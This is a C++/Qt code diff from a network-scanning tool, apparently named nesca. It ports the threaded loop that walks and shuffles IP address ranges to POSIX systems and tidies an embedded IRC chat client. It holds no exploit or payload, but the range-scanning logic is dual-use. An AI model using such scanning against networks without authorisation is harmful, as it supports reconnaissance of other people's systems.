@ -2323,8 +2298,8 @@ int startScan(char* args)
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
CreateDirectory(L"./result_files", NULL);
#else
struct stat st = {0};
if (stat("./result_files", &st) == -1) {
struct stat str = {0};
if (stat("./result_files", &str) == -1) {
mkdir("./result_files", 0700);
}
#endif
@ -2387,18 +2362,24 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
for (unsigned long i = ip1; i <= ip2; ++i) {
if (globalScanFlag == false) break;
int offset = ip2 - i;
unsigned long offset = ip2 - i;
tAddr.s_addr = i;
ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1));
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1));
#else
tAddr.s_addr = ntohl(tAddr.s_addr);
const char *ipStr = inet_ntoa(tAddr);
ipVec.push_back((char*)ipStr);
#endif
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
std::random_shuffle(ipVec.begin(), ipVec.end());
while (ipVec.size() != 0) {
if (globalScanFlag == false) goto haters_gonna_hate_IPM;
st = new sockstruct();
st = new ST();
ZeroMemory(st->argv, sizeof(st->argv));
while (cons >= gThreads) Sleep(500);
@ -2427,14 +2408,18 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
struct in_addr tAddr;
for (unsigned long i = ip1; i <= ip2; ++i) {
if (globalScanFlag == false) break;
st = new sockstruct();
st = new ST();
ZeroMemory(st->argv, sizeof(st->argv));
ZeroMemory(res, sizeof(res));
while (cons >= gThreads) Sleep(500);
++indexIP;
tAddr.s_addr = i;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str());
#else
strcpy(res, inet_ntoa(tAddr));
#endif
strcpy(st->argv, res);
strcpy(saveStartIP, res);
@ -2527,8 +2512,6 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
pthread_t thrs;
pthread_create(&thrs, NULL, (void *(*)(void*))&_saver, NULL);
#endif
char iipFinish[64] = {0};
strcpy(top_level_domain, gFirstDom);
if(trackerOK)
@ -2697,7 +2680,6 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
#endif
stt->doEmitionChangeStatus("Scanning...");
sockstruct *st = NULL;
for (gC = 0; gC < flCounter; ++gC)
{
strcpy(metaRange, std::to_string(ipsstartfl[gC][0]).c_str());
@ -2729,15 +2711,19 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
int offset = ip2 - i;
tAddr.s_addr = i;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1));
#else
ipVec.push_back(inet_ntoa(tAddr));
#endif
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
std::random_shuffle(ipVec.begin(), ipVec.end());
while (ipVec.size() != 0) {
if (globalScanFlag == false) goto haters_gonna_hate_IM;
st = new sockstruct();
st = new ST();
ZeroMemory(st->argv, sizeof(st->argv));
while (cons >= gThreads) Sleep(500);
@ -2765,14 +2751,18 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
struct in_addr tAddr;
for (unsigned long i = ip1; i <= ip2; ++i) {
if (globalScanFlag == false) break;
st = new sockstruct();
st = new ST();
ZeroMemory(st->argv, sizeof(st->argv));
ZeroMemory(res, sizeof(res));
while (cons >= gThreads) Sleep(500);
++indexIP;
tAddr.s_addr = i;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str());
#else
strcpy(res, inet_ntoa(tAddr));
#endif
strcpy(st->argv, res);
strcpy(saveStartIP, res);
@ -2903,7 +2893,6 @@ void nCleanup(){
};
if(GlobalNegatives != NULL)
{
char temp[512] = {0};
for(int i = 0; i < GlobalNegativeSize; ++i)
{
delete []GlobalNegatives[i];

View File

@ -1,5 +1,5 @@
#include "oIRC_Th.h"
#include <QtMultimedia\qsound.h>
#include <QtMultimedia/qsound.h>
#include "externData.h"
#include "externFunctions.h"
@ -77,9 +77,7 @@ QString GetNickColor(char *sn)
QString nickBGColorStr = hexNick.mid(hexNick.size() - 6, hexNick.size());
int nickColor = nickColorStr.toUInt(NULL, 16);
int nickBGColor = nickBGColorStr.toUInt(NULL, 16);
int dim = QString::number(nickColor).length();
int factor = pow((float)10, dim);
nickColor += (7*origLen + nickColor*6 + 123456 - hln*hln*hln*hln + (int)(str[0].toLatin1())*123);
nickColorStr.setNum(nickColor, 16);
@ -93,12 +91,14 @@ QString GetNickColor(char *sn)
else nickBGColorStr = "#000000";
return nickColorStr + "; background-color: " + nickBGColorStr + ";";
};
}
bool doHL(char *rawData)
{
if(strstr(rawData, ircNick) != NULL) return true;
else return false;
};
}
void _blinkNLine(QString tempData = "", QString senderNick = "")
{
if(widgetIsHidden == false && tray->isVisible() == false)
@ -107,29 +107,30 @@ void _blinkNLine(QString tempData = "", QString senderNick = "")
if(irc_nmb->isRunning() == false) irc_nmb->start();
ircTh->doEmitUnhidePopup(tempData, senderNick);
#pragma region QTGUI_Area
if(printDelimiter) ircTh->doEmitChangeIRCData(false, false, 0, "------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------", "");
printDelimiter = false;
#pragma endregion
};
};
}
int sendS(int lSock, char *msg, int len, int mode)
{
int b;
b = send(lSock, msg, len, mode);
if(lSock == ENOTSOCK || lSock <= 0 || !connectedToIRC) {
ircTh->doEmitChangeRedIRCData("Not connected.");
return -1;
}
int b = send(lSock, msg, len, mode);
if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]");
else
{
Activity += len;
#pragma region QTGUI_Area
ircTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit(msg));
#pragma endregion
};
return b;
};
int recvS(int lSock, char *recvBuffT, int len, int mode)
}
int recvS(int lSock, char *recvBuffT, int len)
{
int b;
char recvBuff[MAX_IRC_RECV_LEN] = {0};
@ -141,14 +142,15 @@ int recvS(int lSock, char *recvBuffT, int len, int mode)
Activity += len;
strcpy(recvBuffT, recvBuff);
#pragma region QTGUI_Area
ircTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(recvBuff));
#pragma endregion
ZeroMemory(recvBuff, sizeof(recvBuff));
};
return b;
};
void UserNickInit(SOCKET sock)
}
void UserNickInit()
{
strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data());
char tempBuffUser[1024] = {0};
@ -169,7 +171,8 @@ void UserNickInit(SOCKET sock)
memset(tempBuffUser, '0', sizeof(tempBuffUser));
memset(tempBuffNick, '0', sizeof(tempBuffNick));
};
}
void GetNicks()
{
char chanTemp[64] = {0};
@ -177,7 +180,8 @@ void GetNicks()
strcat(chanTemp, IRC_CHAN);
strcat(chanTemp, "\r\n");
sendS(lSock, chanTemp, strlen(chanTemp), 0);
};
}
char *GetServerName(char *buff)
{
char *temp1 = NULL;
@ -191,7 +195,8 @@ char *GetServerName(char *buff)
};
return name;
};
}
int jFlag1 = 0;
void __pinger(char *recvBuff)
{
@ -293,18 +298,17 @@ void __pinger(char *recvBuff)
if(ircPTh->isRunning() == false) ircPTh->start();
memset(tmpa, '\0', sizeof(tmpa));
};
};
}
void IRCLoop()
{
nickFlag = 0;
offlineFlag = 0;
#pragma region QTGUI_Area
ircTh->doEmitChangeYellowIRCData("Connecting to IRC server " + QString(ircServer) + ":" + QString(ircPort) + "...");
#pragma endregion
int err, yes = 1;
ircTh->doEmitChangeYellowIRCData("Connecting to IRC server " + QString(ircServer) + ":" + QString(ircPort) + "...");
jFlag1 = 0;
sockaddr_in addr;
addr.sin_family = AF_INET;
@ -363,7 +367,7 @@ void IRCLoop()
sendS(lSock, tempSendMsg, strlen(tempSendMsg), 0);
recvS(lSock, temprecvBuff, sizeof(temprecvBuff), 0);
recvS(lSock, temprecvBuff, sizeof(temprecvBuff));
if(strstr(temprecvBuff, "HTTP/1.1 200 OK") || strstr(temprecvBuff, "200 OK")
|| strstr(temprecvBuff, "OK 200") || strstr(temprecvBuff, "200 Connection") )
@ -382,7 +386,7 @@ void IRCLoop()
sendS(lSock, "\r\n", strlen("\r\n"), 0);
};
UserNickInit(lSock);
UserNickInit();
char recvBuffG[MAX_IRC_RECV_LEN] = {0};
char serverRealName[256] = {0};
@ -391,14 +395,14 @@ void IRCLoop()
char pTemp[32] = {0};
strcpy(pTemp, "PRIV");
strcat(pTemp, "MSG ");
while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN, 0) > 0 && iWantToConnect)
while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN) > 0 && iWantToConnect)
{
if(strlen(recvBuffG) > 0)
{
char *recvBuff = recvBuffG;
#pragma region Pinger
__pinger(recvBuff);
#pragma endregion
char comStr[512] = {0};
char delimBf[512] = {0};
strcpy(delimBf, ":");
@ -433,9 +437,9 @@ void IRCLoop()
if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "while we process your") != NULL || strstr(comStr, "Looking up your hostname") != NULL)
)
{
#pragma region QTGUI_Area
ircTh->doEmitChangeGreenIRCData("[OK] Connected to irc server: " + ui->ircServerBox->text()+ ":" + ui->serverPortBox->text() + ".");
#pragma endregion
if(nameLocked == false)
{
nameLocked = true;
@ -443,7 +447,7 @@ void IRCLoop()
};
Sleep(500);
UserNickInit(lSock);
UserNickInit();
Sleep(500);
char chanTemp[32] = {0};
@ -456,17 +460,17 @@ void IRCLoop()
{
if(strstr(comStr, "Registration timed out") != NULL)
{
#pragma region QTGUI_Area
ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Registration timed out)");
ircTh->terminate();
#pragma endregion
}
else
{
#pragma region QTGUI_Area
ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Closed link)");
ircTh->terminate();
#pragma endregion
};
}
else if(strstr(comStr, serverRealName) != NULL && strstr(comStr, "flooding") != NULL)
@ -539,25 +543,25 @@ void IRCLoop()
}
else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 432 ") > 0 || strstr(comStr, "Erroneous Nickname") > 0))
{
#pragma region QTGUI_Area
ircTh->doEmitChangeRedIRCData("[Nope] Erroneous Nickname: Illegal characters.");
#pragma endregion
}
else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 433 ") > 0 || strstr(comStr, "Nickname is already") > 0) )
{
#pragma region QTGUI_Area
QTime time = QTime::currentTime();
qsrand((uint)time.msec());
ircTh->doEmitChangeRedIRCData("[Nope] Nickname is already in use.");
ircTh->doEmitSetNick("ns_" + QString::number(qrand() % 8999 + 1000 ));
#pragma endregion
UserNickInit(lSock);
UserNickInit();
}
else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 438 ") > 0 || strstr(comStr, "Nick change too") > 0))
{
#pragma region QTGUI_Area
ircTh->doEmitChangeRedIRCData("[Nope] You are changing nicks too fast.");
#pragma endregion
}
else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "End of /NAMES list") != NULL || strstr(comStr, "End of /names list") != NULL
|| strstr(comStr, "end of /NAMES list") != NULL || strstr(comStr, "end of /names list") != NULL)
@ -582,7 +586,7 @@ void IRCLoop()
strncpy(leaverNick, temp1, (sz < 16 ? sz : 16));
#pragma region QTGUI_Area
if(strstr(comStr, "QUIT :Ping timeout") != NULL)
{
ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel (Ping timeout).");
@ -593,7 +597,7 @@ void IRCLoop()
ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel.");
_blinkNLine(QString(leaverNick) + " left channel.", "[Server]");
};
#pragma endregion
};
};
};
@ -612,9 +616,9 @@ void IRCLoop()
memset(temp + strlen(temp), '\0', 1);
QString newNick = QString((char*)(temp + strlen("NICK :")));
#pragma region QTGUI_Area
ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] is now known as [" + newNick + "].");
#pragma endregion
_blinkNLine("[" + QString(senderNick) + "] is now known as [" + newNick + "].", "[Server]");
}
@ -629,7 +633,7 @@ void IRCLoop()
int nickLen = temp2 - temp;
if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1);
#pragma region QTGUI_Area
if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text())
{
ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] joined the channel.");
@ -655,7 +659,7 @@ void IRCLoop()
connectedToIRC = true;
};
};
#pragma endregion
}
else if(iWantToConnect && (strstr(comStr, "PART #") > 0 || strstr(comStr, "Part #") > 0
|| strstr(comStr, "part #") > 0))
@ -668,10 +672,10 @@ void IRCLoop()
int nickLen = temp2 - temp;
if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1);
#pragma region QTGUI_Area
if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] left the channel.");
else ircTh->doEmitChangeYellowIRCData("You have left the channel.");
#pragma endregion
};
}
else if(strstri(comStr, privTemp) != NULL)
@ -686,9 +690,8 @@ void IRCLoop()
char *temp = NULL;
char *temp2 = NULL;
#pragma region Pinger
__pinger(recvBuff);
#pragma endregion
char senderNick[32] = {0};
if(strstr(tprv, ":") != NULL) temp = strstr(tprv, ":");
if(strstr(temp, "!") != NULL) temp2 = strstr(tprv, "!");
@ -728,13 +731,13 @@ void IRCLoop()
ircTh->doEmitionPlayDckingSound();
bool HLFlag = doHL(strf.toLocal8Bit().data());
int cCode = 0;
#pragma region QTGUI_Area
ircTh->doEmitChangeIRCData(false, HLFlag, cCode, strf, " <a href=\"nesca:" + QString::fromLocal8Bit(senderNick) + "\"><font style=\"color:#" + GetNickColor(senderNick) + "\">[" + QString::fromLocal8Bit(senderNick) + "]:</font></a>");
#pragma endregion
};
};
};
};
ZeroMemory(senderNick, sizeof(senderNick));
}
@ -782,9 +785,9 @@ void IRCLoop()
ircTh->doEmitionPlayDckingSound();
bool HLFlag = doHL(strf.toLocal8Bit().data());
int cCode = 0;
#pragma region QTGUI_Area
ircTh->doEmitChangeIRCData(true, HLFlag, cCode, strf, "<a href=\"nesca:" + QString::fromLocal8Bit(senderNick) + "\"><font style=\"color:#" + GetNickColor(senderNick) + "\">[" + QString::fromLocal8Bit(senderNick) + "]:</font></a>");
#pragma endregion
};
};
};
@ -799,9 +802,9 @@ void IRCLoop()
if(iWantToConnect == true)
{
#pragma region QTGUI_Area
ircTh->doEmitChangeRedIRCData("[-//-] IRC server went offline.");
#pragma endregion
_blinkNLine("IRC server offlined!", "[Server]");
Sleep(5000);
connectedToIRC == false;
@ -809,11 +812,11 @@ void IRCLoop()
}
else
{
#pragma region QTGUI_Area
if(proxyEnabledFlag) ircTh->doEmitChangeRedIRCData("[-//-] Cannot connect to proxy. (" + QString::number(WSAGetLastError()) + ")" );
else ircTh->doEmitChangeRedIRCData("[-//-] Connection failed. (" + QString::number(WSAGetLastError()) + ")" );
#pragma endregion
};
CSSOCKET(lSock);
};